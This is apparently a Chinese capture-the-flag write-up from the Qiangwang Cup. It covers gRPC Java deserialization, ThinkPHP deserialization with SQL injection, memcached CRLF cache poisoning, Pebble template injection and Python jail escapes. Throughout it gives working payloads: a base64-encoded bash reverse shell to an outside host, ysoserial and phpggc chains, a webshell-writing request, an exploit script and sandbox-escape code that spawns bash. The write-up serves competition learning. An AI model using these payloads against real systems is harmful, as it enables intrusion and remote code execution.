WEB
happygame
题目提供了一个 gRPC 服务。gRPC 是一个由 Google 初始开发的高性能、开源的远程过程调用(RPC)框架。网上已有不少针对 gRPC 的安全研究:
gRPC 框架如下所示:
可见服务端由 Java 编写。
针对 gRPC 服务端,我们可以使用 gRPCurl 来逐步枚举服务端提供的接口以及接口定义。下载链接:fullstorydev/grpcurl: Like cURL, but for gRPC: Command-line tool for interacting with gRPC servers
根据工具文档,我们可以使用 list 来枚举接口,例如:
grpcurl -vv 8.147.133.154:43668 list
grpcurl -vv 8.147.133.154:43668 list helloworld.Greeter
使用 describe 来获取接口定义及参数信息:
grpcurl -vv 8.147.133.154:43668 describe helloworld.Greeter.ProcessMsg
helloworld.Greeter.ProcessMsg 接口可以接收一个 serializeData,发包格式如下:
./grpcurl -plaintext -d '{"serializeData":"xxxxx' -vv 8.147.133.154:43668 helloworld.Greeter/ProcessMsg
可以猜测此处存在反序列化漏洞,并且发送数据之后,接口的报错信息会提示我们需要发送 base64 编码数据。
测试 URLDNS 利用链时确认存在漏洞,然后利用 CC6 可以 getshell。
# bash -i >& /dev/tcp/xxxx/9999 0>&1
# bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
ysoserial CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' | base64 -w 0
poc:
./grpcurl -plaintext -d '{"serializeData":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNRFF1TWpJMUxqSXpPQzR4TVRBdk9UazVPU0F3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="}' -vv 8.147.133.154:43668 helloworld.Greeter/ProcessMsg
thinkshop
题目给出了一个基于 thinkphp 的 php 服务,模板 goods_edit.html 中存在 unserialize 操作,thinkphp 版本为 5.0.23,可以考虑利用反序列化写入 webshell。
<textarea class="form-control" id="data" name="data" rows="3" required>{php}
use app\index\model\Goods;$view=new Goods();echo $view->arrayToMarkdown(unserialize(base64_decode($goods['data'])));{/php}</textarea>
编辑商品页面需要登陆 admin 才能访问,数据库中保存的 hash 是 123456 的 md5,但登录部分的代码故意写错,输入 1/123456 才能正常登录。
通过 goods_edit.html 我们可以修改数据库中的 goods 表的 data 字段。但 saveGoods 函数会先将我们的输入进行序列化,然后再保存,最终写入的 payload 都会变成字符串,无法正常触发 thinkphp 利用链。
public function saveGoods($data)
{
$data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
return $this->save($data);
}
但 updatedata 函数存在 sql 注入,可以利用 SQL 注入将 payload 插入到 data 字段。
public function updatedata($data, $table, $id)
{
if (!$this->connect()) {
die('Error');
} else {
$sql = "UPDATE $table SET ";
foreach ($data as $key => $value) {
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
}
$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
return mysqli_query($this->connect(), $sql);
}
}
此外,题目在反序列化前还有一个校验操作:从数据库取出 data 时会判断是否以 YTo 开头:
public function getGoodsById($id)
{
$select = new Select();
$data = $select->select('goods', 'id', $id);
if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
{
$this->error("数据错误" , 'index/admin/goods_edit');
}
return $data;
}
其实是要求反序列化出来一个数组,可以修改一下 phpggc,包一层数组后再生成 payload:
phpggc ThinkPHP/FW1 /var/www/html/ /mnt/share/project/CTF/QWB/thinkshop/shell.php -b -u
发送 payload:
POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com
Content-Length: 1629
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9kfk3dm38nq1p2tbm00p6toad7
Connection: close
id=1&name`%3d"",`data`%3d"YToyOntpOjA7aToxO2k6MTtPOjEzOiJ0aGlua1xQcm9jZXNzIjozOntzOjI3OiIAdGhpbmtcUHJvY2VzcwBwcm9jZXNzUGlwZXMiO086Mjg6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc01hbnkiOjU6e3M6ODoiACoAcXVlcnkiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo1OiJ3aGVyZSI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086Mjk6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjI4OiJ0aGlua1xjYWNoZVxkcml2ZXJcTWVtY2FjaGVkIjozOntzOjY6IgAqAHRhZyI7YjoxO3M6MTA6IgAqAG9wdGlvbnMiO2E6Mjp7czo2OiJleHBpcmUiO2k6MDtzOjY6InByZWZpeCI7czowOiIiO31zOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czo2OiIAKgB0YWciO2I6MDtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjM2MDA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7czo0OiJwYXRoIjtzOjU4OiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6MzU6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMGRGVkZ0aFhTazdQejRLIjt9czoyMToiAHRoaW5rXFByb2Nlc3MAc3RhdHVzIjtpOjM7czozMzoiAHRoaW5rXFByb2Nlc3MAcHJvY2Vzc0luZm9ybWF0aW9uIjthOjE6e3M6NzoicnVubmluZyI7YjoxO319fQ%3D%3D"where`id`%3d1%23=1111&price=&on_sale_time=&image=11111&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A
然后访问编辑页面即可触发写入 webshell。
thinkshopping
比赛时没有写出,参考其他 writeup 进行复盘:
thinkshopping 的环境与 thinkshop 有所不同:
- 移除了 good_edit.html 中反序列化的操作。
- 移除了数据库中的 admin 用户,这导致正常情况下无法登陆。
- 数据库中将 secure-file-priv 置空(thinkshop 中为非 web 目录),因此可以通过 load_file 读取 flag 文件,sql 注入漏洞依然存在,所以只需要登陆后台即可读取 flag。
注意到登陆处配置了 cache,登陆时会尝试从缓存中获取数据。
// 尝试从缓存中获取数据
$adminData = Db::table('admin')
->cache(true, $Expire)
->find($username);
并且 thinkphp 里配置了 cache 方式为 Memcached,查看 phpinfo 可以判断 memcached 版本为 2.2.0.
'cache' => [
// 驱动方式
'type' => 'Memcached',
// 缓存保存目录
'path' => CACHE_PATH,
// 缓存前缀
'prefix' => '',
// 缓存有效期 0表示永久缓存
'expire' => 0,
],
参考:php-memcached CRLF绕过 - FreeBuf网络安全行业门户 memcached 2.2.0 以下存在 CRLF 漏洞。
poc 如下:
http://127.0.0.1/test.php?token=TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
# 等价于
set snowwolf 0 500 4
wolf
memcached 的 set 语法如下:
set key flags exptime bytes [noreply]
value
- key:用于从Memcached中存储和检索数据的键。
- flags:服务器与用户提供的数据一起存储的 32 位无符号整数,并在检索项目时与数据一起返回。
- exptime:以秒为单位的过期时间。0表示没有延迟。如果 exptime 大于30天,Memcached将其用作UNIX时间戳以进行过期。
- bytes:需要存储的数据块中的字节数。这是存储在 Memcached 中的数据的长度。
- noreply:这是一个可选参数。它用于通知服务器不发送任何回复。
- value:需要存储的数据。在执行带有上述选项的命令后,需要在新行上传递数据。
thinkphp 中的 find 函数可以在 thinkphp/library/think/db/Query.php 中找到,如果开启了 cache。查询数据时会获取 think:shop.admin|username
的值。
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
// 判断查询缓存
$cache = $options['cache'];
if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
$key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
} elseif (is_string($cache['key'])) {
$key = $cache['key'];
} elseif (!isset($key)) {
$key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
}
$result = Cache::get($key);
这个值在 memcached 中的格式可以通过下面的测试代码来获取:
public function test(){
$result = Db::query("select * from admin where id=1");
var_dump($result);
$a = "think:shop.admin|admin";
Cache::set($a, $result, 3600);
}
运行后可以得到正常的格式:
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
还有一个需要注意的地方是,memcached 在写入数据时,flag 字段是留给用户自定义的,thinkphp 在写入不同类型的数据时,会设定不同的 flag 值,如 0 表示字符串,4 表示数组,数据库获取到的数据存储到 Memcached 时,使用的 flag 值就是 4。
所以利用 CRLF 写入时,也需要将 flag 值设定为 4,payload 如下:
set think:shop.admin|admin 4 500 101
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}
exp:
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin
hellospring
题目提供了一个使用 pebble 作为渲染引擎的 Spring 服务,pebble 3.1.5 存在模板注入漏洞,参考:- Spring 场景下突破 pebble 模板注入限制 - 知乎
文章提供的 payload 可以在本地打通,但目标测试时不会远程加载 xml,猜测不出网,所以可以先将 xml 文件内容写入本地,然后利用 file 协议从本地读取 xml。
另外,测试时发现 xml 是可以写入 /tmp 并且访问到的,但模板却怎么也写不进去。猜测服务端做了某种过滤,一步一步打印出来看是否能够正常加载。
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{{ yy }}
当添加了下面这一句就无法正常写入了,猜测是对 org.springframework.context.support.ClassPathXmlApplicationContext 进行了过滤。
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
最后发现仅仅是做了一个字符过滤,换为拼接即可绕过:
"org.springframework.context"+".support.ClassPathXmlApplicationContext"
exp 如下:
import requests
import datetime
import time
host = "http://eci-2zeiuc2hk7njlsvn9mue.cloudeci1.ichunqiu.com:8088"
# host = "http://127.0.0.1:8088"
url = host + "/uploadFile"
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
def calc_time(date_string):
date_object = datetime.datetime.strptime(date_string, '%a, %d %b %Y %H:%M:%S %Z')
t = int(date_object.strftime('%H%M%S'))
# t -= 50000
print(f"[+] t: {t}")
return t
def trigger(t,exp=False):
t -= 4
if exp:
loop = 16
else:
loop = 100
for _ in range(loop):
file_name = f"file_20231217_{str(t).rjust(6,'0')}"
trigger_url = f"{host}/?x={file_name}"
res = requests.get(trigger_url,proxies=proxies)
if "constructor-arg" in res.text:
print(f"[+] find exp in /tmp/{file_name}")
return f"file:///tmp/{file_name}"
else:
t += 1
continue
def upload():
exp1 = {
"content": '''<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,Y2F0IC9mbGFnID4gL3RtcC8xMjMxMjQucGViYmxl}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
'''
}
res = requests.post(url,data=exp1,proxies=proxies)
date_string = res.headers['Date']
return calc_time(date_string)
def exploit(exp_path):
exp2 = {
"content":'''{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context"+".support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("''' + exp_path + '''.pebble") }}
{{ yyy.refresh() }}'''
# "content":"111111"
}
res = requests.post(url,data=exp2,proxies=proxies)
date_string = res.headers['Date']
return calc_time(date_string)
t = upload()
file_path = trigger(t)
time.sleep(10)
t = exploit(file_path)
trigger(t,True)
- exp 中的爆破时间其实没有必要,写入的速度其实比较快。
- 我本地的时区不同,因此加上了
t -= 50000
这一句。
easyphp
一个以 xcache 为背景的逆向题: 解题步骤可参考:第七届 强网杯 全国网络安全挑战赛 Web Writeup - Boogiepop Doesn’t Laugh
不太很理解这道题的应用场景🤣,正常情况下 xcache 只会在 /tmp 下。
解题思路如下:
- 找出 libphp 基地址,然后根据该地址修复 xcache 文件中的函数指针,使得该文件可以被本地正常加载。
- 加载起来后使用 xdebug trace 日志辅助分析代码运行流程。
记录一下 xcache 环境的搭建过程。
wget http://xcache.lighttpd.net/pub/Releases/3.2.0/xcache-3.2.0.tar.gz
tar zxvf xcache-3.2.0.tar.gz
cd xcache-3.2.0
phpize
./configure --enable-xcache --enable-xcache-encoder --enable-xcache-decoder --enable-xcache-assembler --enable-xcache-disassembler --with-php-config=/usr/bin/php-config
make & make install
但我本地一直没有自动生成该 mmap 文件,手动创建该文件后权限设定为 777,重启后可以生成。
MISC
pyjail1
题目源码如下:
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]
def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True
while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")
题目主要设置了几个防护:
- 将一些敏感函数使用 blacklist_fun_callback 进行覆盖。
pty.spawn = blacklist_fun_callback os.system = blacklist_fun_callback os.popen = blacklist_fun_callback subprocess.Popen = blacklist_fun_callback subprocess.call = blacklist_fun_callback code.interact = blacklist_fun_callback code.compile_command = blacklist_fun_callback
- 将一些 builtins 中的函数进行覆盖:
vars = blacklist_fun_callback attr = blacklist_fun_callback dir = blacklist_fun_callback getattr = blacklist_fun_callback exec = blacklist_fun_callback __import__ = blacklist_fun_callback compile = blacklist_fun_callback breakpoint = blacklist_fun_callback
- 删除了 os, subprocess, code, pty 库。
- 设置了一个黑名单 blacklist_words,过滤了一些敏感的函数名,但没有过滤 open、write 等文件操作函数。(help 也没有过滤,但进入文档后无法输入 :)
- 控制输入的长度为 65 以下,并且只能输入 ascii 字符,unicode 就用不了了。
- 最后通过 f string 来执行代码。
由于没有过滤 open 函数,我们可以直接读取文件内容:
{print(open("/etc/passwd").read())}
读取 /proc/self/environ 时可以读取到 flag。
pyjail2
解法 1:写文件
pyjail2 的源代码没有变,但 flag 值不在 /proc/self/environ 中了。由于 write 函数没有被过滤,我们可以先写入一个 python 文件,然后加载该文件来 getshell。
由于脚本本身加载了 code 模块,我们在当前目录写一个 code.py,再次运行该脚本时,就会加载我们写入的 code.py,如果我们写入下面的内容,就可以直接获取 shell。
__import__('os').system("bash")
由于限制了输入长度不能够超过 64,因此我们需要切分写入,例如:
{open("a","w").write("__im")}
{open("a","a").write("port_")}
注意,当我们需要写入含有单引号的字符时,如果直接使用 {open("a","a").write("_('o")}
会出现报错:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "<string>", line 1
f'{open("a","a").write("s'")}'
^
SyntaxError: unterminated string literal (detected at line 1)
这是由于经过外层的 f string 之后,eval 执行的是如下的字符串,由于单引号没有闭合,所以无法执行,但我们加入反斜杠后,又会出现下面的错误,f-string 表达式部分不能包含反斜杠。
f-string expression part cannot include a backslash
但实际我们可以直接闭合掉两头的字符串,避免受到 f-string 的限制:
输入:',open("a","a").write("s'"),'
拼接后为:eval('f\'\',open("a","a").write("s\'"),\'\'')
将 payload 写入文件 a 后,可以将内容写入 code.py,由于 code 也被过滤了,所以可以通过字符串拼接来绕过:
{1}',open('cod'+'e.py','w').write(open('a').read()),'
写入 code.py 后,再加载一次即可进入 bash。
完整 exp:
{open("a","w").write("__im")}
{open("a","a").write("port_")}
{1}',open("a","a").write("_('o"),'
{1}',open("a","a").write("s').syste"),'
{1}',open("a","a").write("m('bash')"),'
{1}',open('cod'+'e.py','w').write(open('a').read()),'
解法 2:清空 blacklist_words
该利用手法的思路如果:
- 将 blacklist_words 置空,然后利用 input() 来绕过长度限制进一步输入内容。
- 利用 globals()[builtins] 获取到内置模块,从而获取原始的内置函数。
具体可参考文章:2023 强网杯 Writeup - CN-SEC 中文网
全局变量 blacklist_words 可以通过 globals() 获取,下面的 payload 即可将该全局变量清空:
list(globals().values())[-2].clear()
清空之后,就可以使用黑名单的函数了,但由于长度限制,我们可以使得 eval 执行后返回 {input()},例如:
# {[list(globals().values())[-2].clear(),"(inpu""t())}"][1]} 离谱了,之前把括号写错了。。。下面才是正确的 payload。
{[list(globals().values())[-2].clear(),"{inpu""t()}"][1]}
# input_code = eval(f"f'{input_code}'") 后可以得到 {input()}
由于 while 循环的存在,会再次进入 eval,执行 eval(“f’{input()}’”) 会打开输入。
由于 blacklist_fun_callback 仅仅覆盖的是当前命名空间中的 breakpoint 函数,我们可以通过 globals()["__builtins__"]
获取到原始的 builtins 函数。因此我们再传入下面的 payload 即可打开 breakpoint 的 Pdb 交互式命令行.
{globals()["__builtins__"].breakpoint()}
进入命令行后,可以通过 os.listdir 或者 glob.glob 方法列目录。
import os
os.listdir("/")
另外,os 模块除了 system 以外,还有别的模块也是可以 getshell 的,比如:
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)
方法多多,具体可参考我此前的博客:CTF Pyjail 沙箱逃逸原理合集
pyjail3
这道题涉及到了 AST 绕过,但限制非常死,源码如下:
import ast
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool": bool,
"set": set,
"tuple": tuple,
"round": round,
"map": map,
"len": len,
"bytes": bytes,
"dict": dict,
"str": str,
"all": all,
"range": range,
"enumerate": enumerate,
"int": int,
"zip": zip,
"filter": filter,
"list": list,
"max": max,
"float": float,
"divmod": divmod,
"unicode": str,
"min": min,
"range": range,
"sum": sum,
"abs": abs,
"sorted": sorted,
"repr": repr,
"object": object,
"isinstance": isinstance
}
def is_safe(code):
if type(code) is str and "__" in code:
return False
for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
return False
return True
if __name__ == "__main__":
user_input = ""
while True:
line = input()
if line == "":
break
user_input += line
user_input += "\n"
if is_safe(user_input) and len(user_input) < 1800:
exec(user_input, {"__builtins__": BUILTINS}, {})
BAD_ATS 过滤了非常多的 AST 类型,其中影响比较大的是下面的这几个:
- ast.Attribute:最为致命,意味着 . 号获取属性无法使用。
- ast.Constant:无法使用常量,但我们可以通过函数来获取常量,例如 str(len[[]])=’0’
- ast.Subscript:无法使用索引、切片等。
- ast.ClassDef:不能够定义类。
- ast.For:不能使用 for 循环
BUILTINS 中能够使用的函数都不具备 RCE 或者操作文件系统的功能,那么我们的思路就是绕过 no builtins。
构造:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")
绕过 ast.Attribute 获取属性
如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。
最简单的示例,匹配字符串:
item = 2
match item:
case 1:
print("One")
case 2:
print("Two")
# Two
还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。
item = (1, 2)
match item:
case (x, y, z):
print(f"{x} {y} {z}")
case (x, y):
print(f"{x} {y}")
case (x,):
print(f"{x}")
对于基本类型的匹配比较好理解,下面是一个匹配类的示例:
class AClass:
def __init__(self, value):
self.thing = value
item = AClass(32)
match item:
case AClass(thing=x):
print(f"Got {x = }!")
# Got x = 32!
在这个示例中,重点关注case AClass(thing=x)
,这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。
这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__
,我们可以编写如下的 match/case 语句:
match str():
case str(__class__=x):
print(x==''.__class__)
# True
可以看到 x 就是 ''.__class__
. 因为所有的类都输入 object 类,所以我们可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。
match str():
case object(__class__=x):
print(x==''.__class__)
# True
再测试一下该 payload 的 AST:
import os
import ast
a = '''
match str():
case str(__class__=x):
print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))
AST 如下:
Module(
body=[
Match(
subject=Call(
func=Name(id='str', ctx=Load()),
args=[],
keywords=[]),
cases=[
match_case(
pattern=MatchClass(
cls=Name(id='str', ctx=Load()),
patterns=[],
kwd_attrs=[
'__class__'],
kwd_patterns=[
MatchAs(name='x')]),
body=[
Expr(
value=Call(
func=Name(id='print', ctx=Load()),
args=[
Name(id='x', ctx=Load())],
keywords=[]))])])],
type_ignores=[])
可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute
我们可以构造替代 ''.__class__.__base__.__subclasses__()
的 payload:
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz)
绕过 ast.Assign 赋值变量
ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式进行绕过。例如:
[
system:=111,
bash:=222
]
此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign
Module(
body=[
Expr(
value=List(
elts=[
NamedExpr(
target=Name(id='system', ctx=Store()),
value=Constant(value=111)),
NamedExpr(
target=Name(id='bash', ctx=Store()),
value=Constant(value=222))],
ctx=Load()))],
type_ignores=[])
绕过 ast.Constant 获取数字、字符串
题目限制了 ast.Constant,所以我们无法直接使用数字、字符串常量,但通过其他的函数组合我们可以构造出数字和字符串。 例如:
"" : str()
0 : len([])
"0": str(len([]))
"1": str(len([str()])) 或 str(len([min]))
"2": str(len([str(),str()])) 或 str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))
如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但我们也可以自己手动实现一个 chr。
当然,题目 builtins 允许 dict 和 list,我们可以直接用这两个函数直接构造出字符串,这种方式在我此前的博客:pyjail bypass-02 绕过基于字符串匹配的过滤 中有提到过。
在这个 payload 中,我们需要构造出 _wrap_close、system、bash
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")
那么我们就可以通过下面的方式获取到这几个字符串:
list(dict(system=[]))[0] # system
list(dict(_wrap_close=[]))[0] # _wrap_close
list(dict(bash=[]))[0] # bash
绕过 ast.Subscript 获取列表/字典元素
题目同时限定了 ast.Subscript,我们无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。
min(list(dict(system=[]))) # system
min(list(dict(_wrap_close=[]))) # _wrap_close
